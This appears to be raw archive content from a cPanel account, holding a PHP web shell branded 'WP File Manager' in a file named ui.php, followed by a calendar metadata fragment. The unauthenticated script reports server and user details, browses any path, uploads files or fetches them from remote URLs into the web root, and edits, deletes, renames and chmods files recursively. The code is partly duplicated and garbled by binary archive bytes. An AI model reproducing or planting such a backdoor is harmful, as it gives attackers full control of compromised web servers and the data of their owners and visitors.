"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëardian@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]·„k�BBirina@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 [addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book 